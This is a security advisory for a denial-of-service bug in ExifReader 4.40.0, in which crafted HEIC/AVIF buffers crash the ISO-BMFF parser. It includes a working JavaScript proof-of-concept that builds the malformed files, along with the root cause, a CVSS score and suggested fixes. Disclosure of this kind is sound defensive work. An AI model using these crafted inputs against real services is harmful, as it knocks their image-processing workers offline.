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GHSA-g77h-45rf-hcx4
No affected components available
Summary
ExifReader 4.40.0 can throw an uncaught RangeError: Offset is outside the bounds of the DataView while parsing crafted HEIC/AVIF files. The file only needs a valid leading ftyp box with a HEIC/AVIF major brand followed by a malformed ISO-BMFF box, such as an empty 8-byte free box or a truncated extended-size box.
This is reachable through the public ExifReader.load() API for in-memory buffers and through the async file/URL loaders when an application parses attacker-supplied images. In applications that do not wrap every parse in a defensive try/catch, a single uploaded or fetched image can abort the request/worker and cause a denial of service.
Credit requested: Yaohui Wang.
Affected version tested
- npm package:
exifreader - Version:
4.40.0 - Repository commit tested:
8cb0261a26b7d986955fe0a6780f076dcb7902e7
Root cause
The ISO-BMFF parser assumes that every top-level box with at least an 8-byte header also has enough bytes for the fields required by its parsed form. In src/image-header-iso-bmff.js:
findMetaBox()callsparseBox(dataView, offset)while only checking thatoffset + 8 <= dataView.byteLength.parseBox()callsgetBoxLength()and then unconditionally reads fields such as the full-box version byte formeta/iloc/iinf/idatboxes.getBoxLength()handlesboxLength === 1by callinghasEmptyHighBits(dataView, offset), which readsdataView.getUint32(offset + 8)without first checking that the 64-bit extended size field is present.
As a result, syntactically small or truncated boxes after a valid HEIC/AVIF ftyp box escape the format-detection catch blocks and throw from the main parsing path.
Reproduction
Run this from the repository root against the committed dist/exif-reader.js bundle:
const ExifReader = require('./dist/exif-reader.js');
function u32be(n) {
return [(n >>> 24) & 255, (n >>> 16) & 255, (n >>> 8) & 255, n & 255];
}
function ascii(s) {
return Array.from(Buffer.from(s, 'ascii'));
}
function box(type, content = []) {
return [...u32be(8 + content.length), ...ascii(type), ...content];
}
for (const brand of ['heic', 'avif']) {
for (const badBox of ['free', 'abcd']) {
const bytes = Uint8Array.from([
...box('ftyp', ascii(brand)),
...box(badBox), // 8-byte box header with no content
]);
try {
ExifReader.load(bytes.buffer);
console.log(`${brand}/${badBox}: no throw`);
} catch (e) {
console.log(`${brand}/${badBox}: ${e.name}: ${e.message}`);
console.log(String(e.stack).split('\n').slice(0, 6).join('\n'));
}
}
}
Observed output on Node v23.11.0 with ExifReader 4.40.0:
heic/free: RangeError: Offset is outside the bounds of the DataView
RangeError: Offset is outside the bounds of the DataView
at DataView.prototype.getUint8 (<anonymous>)
at parseBox (.../dist/exif-reader.js:1:16513)
at findMetaBox (.../dist/exif-reader.js:1:19032)
at findOffsets (.../dist/exif-reader.js:1:19101)
heic/abcd: RangeError: Offset is outside the bounds of the DataView
avif/free: RangeError: Offset is outside the bounds of the DataView
avif/abcd: RangeError: Offset is outside the bounds of the DataView
A second variant triggers the extended-size path:
const truncatedExtendedBox = [...u32be(1), ...ascii('free')];
const heic = Uint8Array.from([...box('ftyp', ascii('heic')), ...truncatedExtendedBox]);
ExifReader.load(heic.buffer);
That throws from hasEmptyHighBits() / getBoxLength() because the extended-size high/low fields are not present.
Expected behavior
Malformed/truncated metadata boxes should be handled like other malformed metadata in the project: return only the successfully parsed file type/metadata, return no app markers, or throw a controlled project-specific error. A safe JavaScript bounds error should not escape from the parser for an attacker-controlled image container.
Security impact
This is a denial-of-service issue for services that parse user-provided HEIC/AVIF files with ExifReader. A minimal attacker-controlled image buffer can cause an unhandled exception in the parser and abort the surrounding request/worker if the embedding application does not catch every parse error.
Suggested severity: Medium. Suggested CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L.
Suggested fix
Add explicit bounds checks before every DataView read in the ISO-BMFF box parser, especially:
- before reading the 64-bit extended size fields in
getBoxLength(); - before reading the full-box version byte in
parseBox(); - before descending into
parseSubBoxes()when a declared box length exceeds available bytes; - ensure
findMetaBox()breaks on boxes whose declared length is invalid or not fully present.
A regression test should cover ftyp/heic and ftyp/avif followed by an 8-byte empty free/unknown box and by a truncated extended-size box.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a low impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
- CVE-2026-53496Alias
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